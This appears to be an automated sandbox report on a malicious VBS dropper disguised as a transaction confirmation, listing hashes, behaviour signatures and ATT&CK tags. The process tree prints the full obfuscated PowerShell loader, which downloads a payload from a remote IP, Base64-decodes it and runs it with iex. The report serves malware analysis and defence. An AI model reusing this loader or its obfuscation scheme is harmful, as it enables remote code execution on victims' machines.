49042e86af4503a917b8408c4faab2759688065a429015a2c90430fa7371291f

Analysis

max time kernel
297s
max time network
293s
platform
windows11-21h2_x64
resource
win11-20240508-en
resource tags

arch:x64arch:x86image:win11-20240508-enlocale:en-usos:windows11-21h2-x64system
submitted
03-07-2024 23:01

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General

Target

Dropped Malware/Transaction_Execution_Confirmation_000000.vbs
Size

187KB
MD5

37f090cc76db33c457b77c6b2c6bb13d
SHA1

7c499fca1564ea4fb48cc2b72212bc3f857443ab
SHA256

36e517cbfb12bd2e58446d7ae27d76baf3e454a793e8c629667fe067839ec23f
SHA512

90aeb5b01c9309c49f35541d97f7532ed7a564fee986bf111a6f33bb41339e54f9972368179632ee5d6bdd8840811dc665a56ff5a26b159bbe764279f7be0de3
SSDEEP

3072:VmN8GGebKjeK3ubth+DCFxKCvBB/WnHPP1w/sLJFJ281QIHz1y8mNy7Ey1MgKTZJ:V08GxbKja3+DCbKCvBB/WnHXC/sLJFJW

Score

8^/10

Malware Config

Signatures

Blocklisted process makes network request 11 IoCs

flow	pid	Process
8	1308	powershell.exe
11	1308	powershell.exe
12	1308	powershell.exe
13	1308	powershell.exe
14	1308	powershell.exe
16	1308	powershell.exe
18	1308	powershell.exe
20	1308	powershell.exe
21	1308	powershell.exe
23	1308	powershell.exe
24	1308	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
1308	powershell.exe
1308	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1308	powershell.exe

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 1444 wrote to memory of 1308	1444	WScript.exe	78
PID 1444 wrote to memory of 1308	1444	WScript.exe	78
PID 1308 wrote to memory of 3004	1308	powershell.exe	80
PID 1308 wrote to memory of 3004	1308	powershell.exe	80

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Dropped Malware\Transaction_Execution_Confirmation_000000.vbs"
1⤵
- Suspicious use of WriteProcessMemory
PID:1444
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "cls;write 'Beruselsernes Respectant dulcifluous Brugerfladers Unmobilised Hamperer Preexpectant Cementstberis Iscremers Forstudiets Antenneindgang Uninvokable Preaggravate Sptmejsen Saddukere Apometaboly220 Tractoration Tavsers Gawking Aabningsbillederne Indisputabel Tuberkler Sellary Trunkway111 Beruselsernes Respectant dulcifluous Brugerfladers Unmobilised Hamperer Preexpectant Cementstberis Iscremers Forstudiets Antenneindgang Uninvokable Preaggravate Sptmejsen Saddukere Apometaboly220 Tractoration Tavsers Gawking Aabningsbillederne Indisputabel Tuberkler Sellary Trunkway111';$Concordens = 1;Function Graasteners($Lipoferous){$Tamilers=$Lipoferous.Length-$Concordens;$Skvttende98='SUBSTRIN';$Skvttende98+='G';For( $Ozonospheric=1;$Ozonospheric -lt $Tamilers;$Ozonospheric+=2){$Beruselsernes+=$Lipoferous.$Skvttende98.Invoke( $Ozonospheric, $Concordens);}$Beruselsernes;}function strkningspunkter($Paleothermal){ & ($Visnomy) ($Paleothermal);}$Dynamoers=Graasteners 'TM o.zFiNl l a /F5F. 0, F( W i.n dko wMsH NBT, S1H0m.c0 ; HW iFn 6.4 ;D .x 6 4A;s .r v :,1,2 1F. 0d) PGYeAcUkFo./F2I0 1S0,0C1R0 1F FPi.rKeEfPoPxF/,1S2 1 .,0S ';$Rykindene=Graasteners 'JU.sEeMr -sA.gUeNnSt, ';$Unmobilised=Graasteners 'KhTt t,pF: / /M1 0 3S.O1M9 5S. 2P3F7c. 4,3T/BMMiGnJiTmCu,m,tCrFy kPkSeBtK.tdMeHpDl.oSyG ';$Albatrosen=Graasteners ' >f ';$Visnomy=Graasteners ' i eCxS ';$Skansekldningers='Cementstberis';$Forlagsprotokol = Graasteners ' eGc,hDo. % a,p,pFdFaHtAa % \ P o.s,t eGrAipo r m.o sDt..,HCeCb, &H&s eFc,h.o, WtH ';strkningspunkter (Graasteners ' $TgPldo b a lS: nMoAnUc.oBs m o pTo lDi tpi.s m = (.c,m,dR A/Bc S$,FYo r lIa,g s pDrToStuo,kBoRlC)H ');strkningspunkter (Graasteners '.$Bg,l.oFb aLl.: BSr uDg.e r fCl.a dCe,r,sA= $ U,nSm.oAb.iKl.iOs,e dS..s.pLlNi,t (M$HAUl bSa t rUoesKeSnS) ');strkningspunkter (Graasteners ',[ NSe tI. S eAr,vCiBc eBPBoUi n.t M,aBn.aHg eOrA] :D:sSTe cFu,rMi,t y PKrUo t.o c.oSlB U= a[ NOeZt .TS.eVcSu.r,i t.yOPVr oStPo cBo.lpT ypp.eQ]U:r:GTDlAs 1 2A ');$Unmobilised=$Brugerfladers[0];$stoftilfrsels= (Graasteners ' $Tg lUoPbNa l.: SPu,pFeBrAf oHr m,a lMnJe s sF=BN e.w - O,bEjSeRc.t ,SCyMs,t ebm .SNUe tT.FWPe b.C lSiAe nft');$stoftilfrsels+=$noncosmopolitism[1];strkningspunkter ($stoftilfrsels);strkningspunkter (Graasteners 'B$PS u pPeAr f o r.m aRl n e.s s..SH e a dTe.ros,[L$DR y k.i nRd e n e ]F=.$ D.y n.a mNo e rRs. ');$Naboskab=Graasteners ',$ SSuup eSr.fCoTr mUaNl,n egs sA.JD oSwMnKl o.abd.FSiSl e,(,$ UDnOmYoDbPiIlAiUsBe do,.$wT,u,bNe,rAkKl,e,rM) ';$Tuberkler=$noncosmopolitism[0];strkningspunkter (Graasteners 'T$ng l.oSbKaAl,:fa e n dBr.iAnHg sCfAo r sWl,a g,=C(,TBe smt -IP a,tVhT S$VT u bCeUr kBlRe.rC)M ');while (!$aendringsforslag) {strkningspunkter (Graasteners ',$Ag l oGb,aSl :.MEaUySp oslceI= $etHrKu,e ') ;strkningspunkter $Naboskab;strkningspunkter (Graasteners 'HSKtAa.r,tR-MS l e eGpJ .4O ');strkningspunkter (Graasteners ',$ g lRoSb aTlF:SaCe.n,d.r,iFnFgGsBfKoRrMsPl a gZ=D(ATIeSs tB-,P a.t hS $CT,u bMe r k l e,r )i ') ;strkningspunkter (Graasteners ' $SgBl oGbkaAl : dBu.lAcMi f,lGuOoSu s = $Fg,lAo bLa.ls:OR eMs p e cFtSa nFtL+.+U%C$GB,r uDgReMr,f.l a.dAeDr s .UcdoSuUnst. ') ;$Unmobilised=$Brugerfladers[$dulcifluous];}$Paatnktes=334318;$Bewet=26301;strkningspunkter (Graasteners ' $.g.lHoSb,a lP:FI,s c rHe,mke.rBsS .=K ,G eCtP-PC oAn,tTeGnOt S$.T uVbHeBrRk lDeVr, ');strkningspunkter (Graasteners ' $ g.lBo.b.aCl :SBFa g e fMoDr mFeUnS A=. D[KS.y sMtVeSmU.DCHoSn v e r t ] : :VF,rUo,mPBMa sFeA6.4 S tDr i.nFgC( $MI sMcKrSe m.e rDsT) ');strkningspunkter (Graasteners ' $,g,l.oCbDa lS:,U nTiMnHvSo.kNa.b l eT =, S[FSSyBs t e.m .IT eRxAtP. E n.cCoKdKi nIgU].:F:.A.SPC I IV.eGOeKtDS.t,rCi n.g ( $TB.aAgGeBfEo rCm.e.nL)P ');strkningspunkter (Graasteners ',$ gAlEo.bOa lR:RI c hSnOo.gMrEaZpLh,i,eMs.=T$ U nSi n v oTkEaMb l eS. s u,b.s tCr i.nBg (F$ P a a,t n kAt e sM,A$CBHe.w,e t )A ');strkningspunkter $Ichnographies;"
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1308
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "echo %appdata%\Posteriormost.Heb && echo t"
    3⤵
    PID:3004

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_p355zvaw.5ly.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/1308-0-0x00007FFD97EF3000-0x00007FFD97EF5000-memory.dmp

Filesize
8KB

Download
memory/1308-9-0x0000020DA2360000-0x0000020DA2382000-memory.dmp

Filesize
136KB

Download
memory/1308-10-0x00007FFD97EF0000-0x00007FFD989B2000-memory.dmp

Filesize
10.8MB

Download
memory/1308-11-0x00007FFD97EF0000-0x00007FFD989B2000-memory.dmp

Filesize
10.8MB

Download
memory/1308-12-0x00007FFD97EF0000-0x00007FFD989B2000-memory.dmp

Filesize
10.8MB

Download
memory/1308-13-0x00007FFD97EF3000-0x00007FFD97EF5000-memory.dmp

Filesize
8KB

Download
memory/1308-14-0x00007FFD97EF0000-0x00007FFD989B2000-memory.dmp

Filesize
10.8MB

Download